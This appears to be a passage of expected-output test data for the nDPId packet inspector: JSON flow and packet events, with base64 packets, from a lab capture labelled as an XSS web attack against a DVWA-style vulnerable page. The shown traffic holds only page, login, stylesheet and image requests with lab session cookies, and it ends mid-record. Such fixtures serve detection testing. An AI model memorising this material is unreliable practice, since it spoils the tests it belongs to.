+00429{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346960,"pkt_ts_usec":891160,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA04gpAAEAG4c3AqAoyrBAAAQBQy\/7+F1DKk3pVMYARAONh7AAAAQEICgPissABOOFJ"} +00429{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346960,"pkt_ts_usec":891163,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0CT5AAEAGuprAqAoyrBAAAQBQy\/xzRrv++hHKaoARAOOlugAAAQEICgPissABOOFJ"} +00428{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346960,"pkt_ts_usec":891224,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0DhJAAEAGtcbAqAoyrBAAAQBQy+qiErzSBw5DVoARAOPwRAAAAQEICgPissABOOFJ"} +00429{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346960,"pkt_ts_usec":891727,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iO9AAD4GPOmsEAABwKgKMsv+AFCTelUx\/hdQy4AQAOVh6gAAAQEICgE44UkD4rLA"} +00429{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346960,"pkt_ts_usec":891727,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0F65AAD4GriqsEAABwKgKMsv8AFD6Ecpqc0a7\/4AQAOWluAAAAQEICgE44UkD4rLA"} +00428{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346960,"pkt_ts_usec":891762,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nkJAAD4GJ5asEAABwKgKMsvqAFAHDkNWohK804AQAOXwQgAAAQEICgE44UkD4rLA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":100,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1499346976603,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52298,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":603214,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Un9AAD4Gc1GsEAABwKgKMsxKAFAevqLeAAAAAKACchDe8gAAAgQFtAQCCAoBOPChAAAAAAEDAwc="} +00441{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":603366,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzEoKnmxhHr6i36AScSCi1wAAAgQFtAQCCAoD4sIYATjwoQEDAwc="} +00429{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":604135,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UoBAAD4Gc1isEAABwKgKMsxKAFAevqLfCp5sYoAQAOVB3wAAAQEICgE48KED4sIY"} +00844{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":604139,"pkt_caplen":375,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":375,"pkt_l4_len":341,"pkt":"ABm5CmnxAMGxFOsxCABFAAFpUoFAAD4GciKsEAABwKgKMsxKAFAevqLfCp5sYoAYAOWkFgAAAQEICgE48KED4sIYR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":103,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":4,"flow_first_seen":1499346976603,"flow_last_seen":1499346976604,"flow_tot_l4_data_len":453,"flow_min_l4_data_len":32,"flow_max_l4_data_len":341,"flow_avg_l4_data_len":113,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52298,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00429{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":604229,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0rnpAAEAGFV7AqAoyrBAAAQBQzEoKnmxiHr6kFIAQAOtApAAAAQEICgPiwhgBOPCh"} +01116{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":605721,"pkt_caplen":578,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":578,"pkt_l4_len":544,"pkt":"AMGxFOsxABm5CmnxCABFAAI0rntAAEAGE13AqAoyrBAAAQBQzEoKnmxiHr6kFIAYAOu81wAAAQEICgPiwhgBOPChSFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE2OjE2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpTZXQtQ29va2llOiBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzE7IHBhdGg9Lw0KRXhwaXJlczogVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQNCkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wDQpQcmFnbWE6IG5vLWNhY2hlDQpTZXQtQ29va2llOiBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzE7IHBhdGg9Lw0KU2V0LUNvb2tpZTogc2VjdXJpdHk9bG93DQpMb2NhdGlvbjogLi4vLi4vbG9naW4ucGhwDQpDb250ZW50LUxlbmd0aDogMA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KDQo="} +00429{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":606283,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UoJAAD4Gc1asEAABwKgKMsxKAFAevqQUCp5uYoAQAO0+oQAAAQEICgE48KID4sIY"} +00888{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":626963,"pkt_caplen":408,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":408,"pkt_l4_len":374,"pkt":"ABm5CmnxAMGxFOsxCABFAAGKUoNAAD4Gcf+sEAABwKgKMsxKAFAevqQUCp5uYoAYAO3eAAAAAQEICgE48KcD4sIYR0VUIC9kdi9sb2dpbi5waHAgSFRUUC8xLjENCkhvc3Q6IDIwNS4xNzQuMTY1LjY4DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQ7IHJ2OjQ1LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNDUuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29va2llOiBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +01961{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":631640,"pkt_caplen":1200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1200,"pkt_l4_len":1166,"pkt":"AMGxFOsxABm5CmnxCABFAASirnxAAEAGEO7AqAoyrBAAAQBQzEoKnm5iHr6laoAYAPONEgAAAQEICgPiwh8BOPCnSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE2OjE2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KU2V0LUNvb2tpZTogUEhQU0VTU0lEPXY2b29rZjZlMjZuMWlkbzVzaXZlNnNhaTcxOyBwYXRoPS8NClNldC1Db29raWU6IHNlY3VyaXR5PWxvdw0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogNzAwDQpLZWVwLUFsaXZlOiB0aW1lb3V0PTUsIG1heD05OQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOA0KDQofiwgAAAAAAAADpVTfT9swEH4eEv\/D4ZduSInbgkbLkkis7TSkMipIYXtCTuI0Vp3YS5wG9tfPbtJfpA+T9mLd2b7v+3x3vtMT52x8P\/J\/zSaQqJTDbP51ejsCZGH8fDHCeOyP4ed3\/24KPbsLjypnocJ48gMBSpSS1xhXVWVXF7bIF9h\/wK8GpWfCGtMq1jF2pCLknZ6cnjhrnteUZ4V7BKM3HA7r0Pr6ByehJKrND05KFQETZNHfJVu5aCQyRTNl+W+SIghrz0WKvipsQL5AmJC8oMqd+9+sAQK8gVJMcepNxYJlcH0NY5Jm8FTyjOYk4BSeaQA3UnIWEsVEBh\/HT883n2DVs3tdOB\/TFeVCpprs3ME1VIPLWbaEnHIXFeqN0yKhVCFQWl8jKywKBElOYxdFq4oYH3Mjw16fNAIdvHu3E4jorTEjtgIWuajKiZQ0R++2TdBuN8i3cNJzWLqAIg8bWpaSBW2YX\/QqbJktDL2DZTscawIPnDPLalFZ1jsNTRU2ImKRp0BCk0UX1Q+ViUSga5kIfV2KYneXUR7pajXJ1NkkAeWgIVxUFoZtrteMpNTB6yOtiWWyVHsJ1m3ASVE0XLfmFEHB\/ujjfheBCa7BjIW83StbjFLDIG+m10rk0XFG2ZweZb2Z+\/ej+7vZdOJPXCTiuC1kG78nxMg4cOQGvCiDlOlsHUhoNmFFeKnddUtv4Gtnr6b4MMX7QJ2ERRHNOnVox6ToRYml2amhO\/1uHIcXV5e9q\/5VrxtfDuNBPx4O6GU0CILB50Fn1y+m6q02OvD\/0zCmbkc43tYPJItE+qi0ik1fw7pR61aGd728bdlWM8dCqN2H0r+INH93b3QZYjsUdrnE+qeTfKHHDXoJOMmWyPu3weJgsl+k9m\/b6ICtwiOXtkNh79Z2djjrgej9BXfYEWPzBQAA"} +00430{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":669450,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UoRAAD4Gc1SsEAABwKgKMsxKAFAevqVqCp5y0IAQAQQ4rwAAAQEICgE48LID4sIf"} +00921{"flow_id":9,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":675462,"pkt_caplen":431,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":431,"pkt_l4_len":397,"pkt":"ABm5CmnxAMGxFOsxCABFAAGhUoVAAD4GceasEAABwKgKMsxKAFAevqVqCp5y0IAYAQTJ8QAAAQEICgE48LMD4sIfR0VUIC9kdi9kdndhL2Nzcy9sb2dpbi5jc3MgSFRUUC8xLjENCkhvc3Q6IDIwNS4xNzQuMTY1LjY4DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQ7IHJ2OjQ1LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNDUuMA0KQWNjZXB0OiB0ZXh0L2NzcywqLyo7cT0wLjENCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KUmVmZXJlcjogaHR0cDovLzIwNS4xNzQuMTY1LjY4L2R2L2xvZ2luLnBocA0KQ29va2llOiBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +01428{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":676063,"pkt_caplen":807,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":807,"pkt_l4_len":773,"pkt":"AMGxFOsxABm5CmnxCABFAAMZrn1AAEAGEnbAqAoyrBAAAQBQzEoKnnLQHr6m14AYAPzhTgAAAQEICgPiwioBOPCzSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE2OjE2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBNb24sIDI2IEp1biAyMDE3IDE0OjQ0OjQ4IEdNVA0KRVRhZzogIjM0YS01NTJkZGZlMjQyYjkwLWd6aXAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogNDA2DQpLZWVwLUFsaXZlOiB0aW1lb3V0PTUsIG1heD05OA0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2Nzcw0KDQofiwgAAAAAAAADdVJBbsIwEDwXiT9YQr0RmlDgEE7toWqf4cTrsMJ4LduQ0Kp\/r51gCFWrvcSbndmZsSsSZ\/Y1nTxUvN43lo5alGwmQUoJ29CWpH3JiqXpnoq16diLRa7m7B3UCTzWfM4c1y5zYFHGeYUash1gswuwZW662KxJkQ20mypW6HxPJ9PJrLXcGLD9eg+dz7jCRpesBu3BRuCB2wZDJ2f86OkKrIOoMNMDBTqj+LlkqPvdlaJ6H7GGC4G6ualoUfhdec8kifxFgSGHHils45UjdfQwAhV5\/hiPydn6wlmR93QIAoejAunToV+geAWqp5eKePgXJ7a\/\/NrIebOb2WFHvljDYTu2ePVGJ7CBsC3ZDoUAPfKb0ElhvMCsvciuSIkkbaEoLPvQ5uj\/Eni9s9dYoyieU563F5Ol4bdVrCEYKyC0ipRTPGbOnxWULMSLYtRO8HoV6+7yNgP+kkyKO77H5EMiKOFgMJE0JvdXniI0+pdw+\/ovyHutmjSkVWYIKibq8BMG1vTzB9B5D8NKAwAA"} +00430{"flow_id":9,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":676783,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UoZAAD4Gc1KsEAABwKgKMsxKAFAevqbXCp51tYAQARU0QAAAAQEICgE48LMD4sIq"} +00953{"flow_id":9,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":677015,"pkt_caplen":454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":454,"pkt_l4_len":420,"pkt":"ABm5CmnxAMGxFOsxCABFAAG4UodAAD4Gcc2sEAABwKgKMsxKAFAevqbXCp51tYAYARXwuwAAAQEICgE48LMD4sIqR0VUIC9kdi9kdndhL2ltYWdlcy9sb2dpbl9sb2dvLnBuZyBIVFRQLzEuMQ0KSG9zdDogMjA1LjE3NC4xNjUuNjgNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6NDUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80NS4wDQpBY2NlcHQ6IGltYWdlL3BuZyxpbWFnZS8qO3E9MC44LCovKjtxPTAuNQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpSZWZlcmVyOiBodHRwOi8vMjA1LjE3NC4xNjUuNjgvZHYvbG9naW4ucGhwDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgUEhQU0VTU0lEPXY2b29rZjZlMjZuMWlkbzVzaXZlNnNhaTcxDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":114,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1499346976677,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52300,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":677111,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8I8VAAD4GogusEAABwKgKMsxMAFCAL9N2AAAAAKACchBM1QAAAgQFtAQCCAoBOPCzAAAAAAEDAwc="} +00443{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":677196,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzEzfj2P1gC\/Td6AScSBEIgAAAgQFtAQCCAoD4sIqATjwswEDAwc="} +06305{"flow_id":9,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":677322,"pkt_caplen":4410,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":4410,"pkt_l4_len":4376,"pkt":"AMGxFOsxABm5CmnxCABFABEsrn5AAEAGBGLAqAoyrBAAAQBQzEoKnnW1Hr6oW4AQAQSICgAAAQEICgPiwioBOPCzSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE2OjE2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBNb24sIDI2IEp1biAyMDE3IDE0OjQ0OjQ4IEdNVA0KRVRhZzogIjIzODAtNTUyZGRmZTI0MmI5MCINCkFjY2VwdC1SYW5nZXM6IGJ5dGVzDQpDb250ZW50LUxlbmd0aDogOTA4OA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogaW1hZ2UvcG5nDQoNColQTkcNChoKAAAADUlIRFIAAADIAAAAcggGAAAAFgmejQAAI0dJREFUeAHs3ANwZNsWgOETOxnbtm3btm3btm3btud6PHds255k1vvr1rBfd9J9uuO9q76qlIJV\/R\/uiqaWWsG9KlWv54GUKI5mGIrFOIQTOP7VMfyDv\/HXV3\/iD+zCJLREAUSHZq2vXyhKkEiIShiEdTiGJ5BAcgo9kTAkBqIozoiPXKiMssiBPKiApuiJsViEbbgCCQR\/oHBYCERRoqAUBmA7nkJsZD4iBUogirL13zoOcIE7vBABkREN7tACAz87CephK3whVniEWioQ\/6gPuh2iIi2KoT56YCJW4hAu4xU+wQ9ihte4gqNYh+kYgBaoiBzwsjKWGOiEUxArrIaTCkTFEBdl0BsrcQGfIMHED+exGB2QBx46Y8mAcXhoRSQO4SMQFYIb0qMCOmISNmErlmMmJmIqZmEeFmMF1mAjtuIIruJ9EEfzLxahNeJYGIoT2uMZxELLYK8CCfuBOEOzsYhIhSKoh+6YisN4BQkkX3AQLRHFglAiYQI+6bh5V4EoNr+PSYIqGIKtuAuxsc\/YgfrwNjOUZNgJsUB1FYgSFOHERlNswluIDX3AGmQyIxI7dMdniBluw0MFohjyCMRYXFEK03DLxpdgK5HUjFBy4zbEDENVIIqGtCiJNHAIwrNLBkzFGxtefs1ArAAiiYzdkAB8QCIVSPiNoj+GIGcwX4b5oBOuQmzgHYYjgj+RuGATJABjVCDhK4pB+BsTkSiE3a\/Yoxz2QGzgGSoE8Dh4DcQfd2GvAgm7YqIvzuM+uiNCKLi5z4SjNro\/GQR7E5E4YjnEH0VUIGGLHQpjDT7jGXrAPRQ+Oq6PhxArbUEEf84kRyAmLFCBhA2R0BEXIXiDIYgQyh8V+2AifCFWuITU\/uzpugcx4qkKJHTLjgV4D8EHTES0MPZOJR3+gFjhNSqbiCQnPkKMiB+6Bqa4oSmOQ77yxVzEC+NbaObZ4L6kpolIOkGMKB86hqS4oyPuQ36yGynC0Rv6zvCD6PQR+Y0E4oATEAP9Q\/ZQFA90MbKV+w6qhdNtLKXwEqLTc6QyEkkOfIH8ZG3IHITiiW54BPnJZ4yGZzjf65XKyheMNxDdSCSzID85GrL+eMULPfEYYuAAUkNT\/oskjpV7u9aYeKr1EfLVv2rYIYMHeuMpxMB91Ib2f1QkqfEMolNpI5HMg3x1Vw06+FXzZ6fpCkSEppiMJC\/eQ3S4DneDQNJAvnqrhhx8UmEvxIgXqAPNLCqS6hCdhhs5i+yA4LMacNDzxlh8hhhxEPGhWURFsgyiw1v4GATSCIJnarhBqw7uQ4z4hB6wh2YxFUhkPIDo0MYgkDgQ3FTDDRrpcRhiwjlkhGYVFUkliA5njFxmncNZNdjA5YQR8IWYsBJu0GxCRbIZokMug0Am4DeTP0hE7BANiZAWOVAY5VATdVAehZAFyRAVmhXsEEEnTSd3RLBA\/K8iI4Ipo8ZOylS\/SetjdRu1kNoNmhkL4wv6w+7rvH1s\/Dc7IoIO9lbMx5AjtKD09T83ig5TDQIphZ3a1w9+DfTADOzERXyAnvUAWzEYFRELmpkc8QJ6VhpoOvyOQF3PX7wwjOMtqkKD9jU2PSs2NBNqwNLlBx9oPzkNvasVtGCIZD\/EQicNAvHAUk1+Wr6+vvLo8WP599wF2X\/wsCxetlKm\/Y+4a4CupFnCz7Zt27b1P62ijZ3sZrNWsLZt27Zt27ajzb5Nv\/4mdfP36TPTXXOT3Klz6mHnTqd7pr\/q8oyZIAYMHiG69xogOhf3EK07FIrmrdqL3Px2ok37QlHQtZfo3X+wGD5qvJg5e4E4ePioePzkiVCoSvI6yU0kv5mxwLm4acmyVWL23IVWXrVmgyDKDeNhvhfLPnX6LOtvzVu4RLx8+dJ5TvMWLGbdc+r0GQFKSM1W86i+r53Wf8Bvduzcwxpz244aTP\/dsLbu+MGipSus482dv1iUlZXj54e0MT6Ffzx+4pR+j2W8RaK0tAy3rgwIIH8KAyCoO3mnBpKmGFDs3rtfJGc0E0lpuSIpPVfEp2SJRjGJYTUEjklIl+PkyPGai3adisXSFatDDwt0X3Jvye8wLDBBMsDH+nvxKdmh8ReH8TAb4saOBd1Yfyszt5UIUdOkLNY9vfoOEqCCLj0FfRHp